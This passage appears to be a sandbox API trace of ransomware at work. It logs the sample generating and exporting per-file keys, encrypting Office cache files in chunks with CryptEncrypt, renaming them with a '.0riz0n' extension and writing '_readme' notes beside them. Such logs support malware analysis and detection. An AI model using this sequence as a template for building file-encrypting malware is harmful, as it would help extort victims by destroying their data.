Flags=0x8, Size=0xaec40) returned 0x1c80020 [0173.931] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x10f0020) returned 1 [0173.934] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xaec40) returned 0x10f0020 [0173.935] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0173.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0173.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xaf040) returned 0x1c80020 [0174.000] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1c80020*, pdwDataLen=0x1a7faac*=0xaec3a, dwBufLen=0xaf03a | out: pbData=0x1c80020*, pdwDataLen=0x1a7faac*=0xaec40) returned 1 [0174.005] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0174.008] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0174.008] WriteFile (in: hFile=0x1c0, lpBuffer=0x10f0020*, nNumberOfBytesToWrite=0xaec3a, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x10f0020*, lpNumberOfBytesWritten=0x1a7fab0*=0xaec3a, lpOverlapped=0x0) returned 1 [0174.010] FlushFileBuffers (hFile=0x1c0) returned 1 [0174.086] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0174.086] NtClose (Handle=0x1c0) returned 0x0 [0174.086] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.0riz0n")) returned 1 [0174.086] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n", dwFileAttributes=0x2020) returned 1 [0174.087] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0174.087] GetLastError () returned 0x2 [0174.087] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984808, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0174.087] GetLastError () returned 0x2 [0174.087] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0174.136] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0174.136] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0174.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0174.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb) returned 0xa9d630 [0174.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cfe0 [0174.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d630) returned 1 [0174.137] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cfe0) returned 1 [0174.137] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2d1) returned 0xa7fc38 [0174.137] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7ef0a770, dwHighDateTime=0x1d59598)) returned 1 [0174.137] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0174.137] NtClose (Handle=0x1c0) returned 0x0 [0174.137] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0174.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0174.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0174.138] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x10f0020) returned 1 [0174.141] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0174.141] CryptDestroyKey (hKey=0x829d78) returned 1 [0174.141] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0174.141] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0174.141] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0174.141] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0174.141] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00)) returned 1 [0174.175] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0174.175] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0174.175] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0174.175] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0174.175] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0174.176] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0174.176] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0174.176] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00)) returned 1 [0174.176] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0174.176] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0174.176] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0174.176] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0174.176] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0174.176] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00)) returned 1 [0174.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0174.176] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0174.176] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0174.176] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0174.176] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0174.176] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0174.176] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0174.176] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0x170fe40, dwHighDateTime=0x1d301bf)) returned 1 [0174.177] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0174.177] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0174.177] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0174.177] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0174.177] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0174.177] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0174.177] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0174.177] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0174.177] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0174.177] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0174.177] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0174.178] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0174.668] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0175.070] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0175.142] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0175.143] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0175.474] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0175.561] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0175.686] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0175.686] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0175.872] FlushFileBuffers (hFile=0x1c0) returned 1 [0175.995] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0176.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0176.005] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0176.476] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0176.715] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0176.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0176.833] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0176.923] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0176.923] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0177.116] FlushFileBuffers (hFile=0x1c0) returned 1 [0177.200] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1400000 [0177.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x641c00) returned 0x2d50020 [0177.201] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0x641c00, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0x641c00, lpOverlapped=0x0) returned 1 [0177.434] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x641c00) returned 0x33a0020 [0177.566] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0177.592] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x33a0020) returned 1 [0177.644] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x642000) returned 0x2d50020 [0177.782] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x641c00, dwBufLen=0x642000 | out: pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x641c10) returned 1 [0177.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0177.972] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1400000 [0177.972] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0x641c00, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0x641c00, lpOverlapped=0x0) returned 1 [0178.106] FlushFileBuffers (hFile=0x1c0) returned 1 [0178.136] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0178.137] NtClose (Handle=0x1c0) returned 0x0 [0178.137] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.0riz0n")) returned 1 [0178.138] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0178.138] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0178.138] GetLastError () returned 0x2 [0178.138] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984828, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0178.138] GetLastError () returned 0x2 [0178.138] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0178.153] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0178.153] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0178.154] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0178.154] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0178.154] WriteFile (in: hFile=0x1c0, lpBuffer=0xa7fc38*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa7fc38*, lpNumberOfBytesWritten=0x1a7fab0*=0x2f9, lpOverlapped=0x0) returned 1 [0178.154] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x8156ca30, dwHighDateTime=0x1d59598)) returned 1 [0178.154] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0178.154] NtClose (Handle=0x1c0) returned 0x0 [0178.154] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0178.155] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0178.155] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0178.155] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0178.198] CryptDestroyKey (hKey=0x829d78) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0178.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0178.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0178.199] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4)) returned 1 [0178.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0178.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0178.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0178.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0178.199] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0178.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0178.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0178.199] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4)) returned 1 [0178.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0178.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0178.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0178.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0178.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0178.199] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4)) returned 1 [0178.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0178.200] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, 